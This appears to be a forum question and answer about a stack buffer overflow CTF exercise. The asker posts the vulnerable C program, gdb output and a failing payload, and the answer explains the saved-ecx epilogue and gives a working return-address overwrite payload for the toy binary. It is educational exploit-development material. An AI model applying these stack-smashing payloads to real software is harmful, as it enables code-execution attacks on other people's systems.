I have the following code as part of a buffer overflow CTF challenge:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int my_gets(char *buf) {
int i = 0;
char c;
while (read(0, &c, 1) > 0 && c != '\n') {
buf[i++] = c;
}
buf[i] = '\0';
return i;
}
int main() {
int cookie;
char buf[16];
printf("&buf: %p, &cookie: %p\n", buf, &cookie);
my_gets(buf);
if (cookie == 0x000D0A00) {
printf("%s","You win!\n");
}
return 0;
}
. Normally, the goal is to overwrite the cookie variable to reach the value 0x000D0A00, but this value contains special characters that make direct injection difficult. So instead, my goal is to jump directly to address 0x08049232 in order to print "You win!" without needing to modify the cookie.
I started by injecting 16 'A' characters to figure out the stack frame layout.. I compiled it using:
gcc -m32 -z execstack -fno-stack-protector -no-pie -o stack4 stack4.c
(gdb) break *0x08049232
Breakpoint 1 at 0x8049232
(gdb) run < <(python3 -c 'print("A"*16)')
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
&buf: 0xffffcfac, &cookie: 0xffffcfbc
Breakpoint 1, 0x08049232 in main ()
(gdb) x/wc $ebp+4
0xffffcfcc: 67 'C'
(gdb) x/wx $ebp+4
0xffffcfcc: 0xf7d8bd43
(gdb) info frame
Stack level 0, frame at 0xffffcfe0:
eip = 0x8049232 in main; saved eip = 0xf7d8bd43
Arglist at 0xffffcfc8, args:
Locals at 0xffffcfc8, Previous frame's sp is 0xffffcfe0
Saved registers:
ebx at 0xffffcfc4, ebp at 0xffffcfc8, eip at 0xffffcfdc
(gdb)
.Based on that, I crafted a payload to overwrite the value at ebp+4, since I assumed that’s where the saved return address (EIP) is stored. I intentionally avoided touching $ebp, $ebp-4, and $ebp-8 because I wasn’t sure what they were used for.
Here’s the payload I tried:
(gdb) run < <(python -c 'import sys; sys.stdout.buffer.write(b"A"*20 + b"\xe0\xcf\xff\xff" + b"\x14\xce\xf9\xf7" + b"\x00\x00\x00\x00" + b"\x39\x92\x04\x08")')
sys.stdout.buffer.write(b"A"*20 + b"\xe0\xcf\xff\xff" + b"\x14\xce\xf9\xf7" + b"\x00\x00\x00\x00" + b"\x39\x92\x04\x08")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
&buf: 0xffffcfac, &cookie: 0xffffcfbc
Breakpoint 1, 0x08049232 in main ()
(gdb) x/wx $ebp+4
0xffffcfcc: 0x08049239
(gdb) x/wx $ebp
0xffffcfc8: 0x00000000
(gdb) x/wx $ebp-4
0xffffcfc4: 0xf7f9ce14
(gdb) x/wx $ebp-8
0xffffcfc0: 0xffffcfe0
(gdb) x/wx $ebp-12
0xffffcfbc: 0x41414141
(gdb) x/wx $ebp-28
0xffffcfac: 0x41414141
(gdb) info frame
Stack level 0, frame at 0xffffcfe0:
eip = 0x8049232 in main; saved eip = 0xf7d8bd43
Arglist at 0xffffcfc8, args:
Locals at 0xffffcfc8, Previous frame's sp is 0xffffcfe0
Saved registers:
ebx at 0xffffcfc4, ebp at 0xffffcfc8, eip at 0xffffcfdc
(gdb)
disas mian:
(gdb) disas main
Dump of assembler code for function main:
0x080491e9 <+0>: lea 0x4(%esp),%ecx
0x080491ed <+4>: and $0xfffffff0,%esp
0x080491f0 <+7>: push -0x4(%ecx)
0x080491f3 <+10>: push %ebp
0x080491f4 <+11>: mov %esp,%ebp
0x080491f6 <+13>: push %ebx
0x080491f7 <+14>: push %ecx
0x080491f8 <+15>: sub $0x20,%esp
0x080491fb <+18>: call 0x80490c0 <__x86.get_pc_thunk.bx>
0x08049200 <+23>: add $0x2df4,%ebx
0x08049206 <+29>: sub $0x4,%esp
0x08049209 <+32>: lea -0xc(%ebp),%eax
0x0804920c <+35>: push %eax
0x0804920d <+36>: lea -0x1c(%ebp),%eax
0x08049210 <+39>: push %eax
0x08049211 <+40>: lea -0x1fec(%ebx),%eax
0x08049217 <+46>: push %eax
0x08049218 <+47>: call 0x8049050 <printf@plt>
0x0804921d <+52>: add $0x10,%esp
0x08049220 <+55>: sub $0xc,%esp
0x08049223 <+58>: lea -0x1c(%ebp),%eax
0x08049226 <+61>: push %eax
0x08049227 <+62>: call 0x8049186 <my_gets>
0x0804922c <+67>: add $0x10,%esp
0x0804922f <+70>: mov -0xc(%ebp),%eax
0x08049232 <+73>: cmp $0xd0a00,%eax
0x08049237 <+78>: jne 0x804924b <main+98>
0x08049239 <+80>: sub $0xc,%esp
0x0804923c <+83>: lea -0x1fd5(%ebx),%eax
0x08049242 <+89>: push %eax
0x08049243 <+90>: call 0x8049060 <puts@plt>
0x08049248 <+95>: add $0x10,%esp
0x0804924b <+98>: mov $0x0,%eax
0x08049250 <+103>: lea -0x8(%ebp),%esp
0x08049253 <+106>: pop %ecx
0x08049254 <+107>: pop %ebx
0x08049255 <+108>: pop %ebp
0x08049256 <+109>: lea -0x4(%ecx),%esp
0x08049259 <+112>: ret
End of assembler dump.
(gdb)
However, "You win!"
is not printed, and I’m unsure where I went wrong in the exploit.
Could someone help me figure out what I’m missing?
Your main
has non-standard stack layout and epilogue:
0x08049253 <+106>: pop %ecx
0x08049254 <+107>: pop %ebx
0x08049255 <+108>: pop %ebp
0x08049256 <+109>: lea -0x4(%ecx),%esp
0x08049259 <+112>: ret
If you simply try to overflow the buffer until you overwrite the return address you overwrite the saved ecx
as well which means esp
will no longer point to the location where you have written the return address. Since the code helpfully leaks the address of buf
you can use that to construct a payload that sets the saved copy of ecx
to point there. You will need to account for the -4
offset. For example a sample run on my system produced:
&buf: 0xffffd9bc, &cookie: 0xffffd9cc
Therefore my payload was:
print(b"\x39\x92\x04\x08AAAAAAAAAAAAAAAA\xc0\xd9\xff\xff")
First the address to jump to, then 16 bytes of padding and finally &buf + 4
. This correctly jumps to the intended address. However, you have compiled with -no-pie
but still have PIC enabled which uses ebx
to address constants. Since ebx
has also been popped from the stack it is no longer valid and will result in a crash. I don't see an obvious way to fix ebx
.
I suspect the challenge was originally meant to be standard position dependent code so consider compiling with -fno-pic
.
Note: if &buf + 4
happens to include a 0x0a
byte you can just re-run it until stack randomization gives you an address that does not :) Alternatively, if the 0x0a
is one of the two least significant bytes you can extend your payload until you reach the next usable address.